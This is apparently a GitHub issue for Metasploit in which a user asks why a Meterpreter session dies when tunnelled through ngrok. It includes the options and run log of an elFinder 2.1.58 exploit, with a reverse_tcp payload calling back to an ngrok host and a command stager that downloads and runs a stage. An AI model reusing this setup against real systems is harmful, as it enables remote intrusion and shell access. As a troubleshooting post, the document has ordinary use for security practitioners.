metasploit-framework
metasploit-framework copied to clipboard
Ngrok : Meterpreter session not valid and dies.
I started a ngrok tcp tunnel on port 3333. I've set ReverseListenerBindAddress 127.0.0.1 and ReverseListenerBindPort 3333
after the exploit succeed the Meterpreter session dies.
Any help will be appreciated, Thank you.
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS testexploit.dev yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 10000 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /elfinder/ yes The URI of elFinder
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 0.tcp.ngrok.io yes The listen address (an interface may be specified)
LPORT 10000 yes The listen port
[*] Started reverse TCP handler on 127.0.0.1:3333
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. elFinder running version 2.1.58
[*] Uploading file vgIcayCc.txt to elFinder
[+] Text file was successfully uploaded!
[*] Attempting to create archive iFAId.zip
[+] Archive was successfully created!
[*] Using URL: http://0.tcp.ngrok.io:10000/OI23oypnxxq
[*] Sending stage (989032 bytes) to 127.0.0.1
[*] Command Stager progress - 53.45% done (62/116 bytes)
[*] Command Stager progress - 72.41% done (84/116 bytes)
[*] Command Stager progress - 83.62% done (97/116 bytes)
[*] Command Stager progress - 100.00% done (116/116 bytes)
[-] Meterpreter session 7 is not valid and will be closed
[*] testexploit.dev - Meterpreter session 7 closed.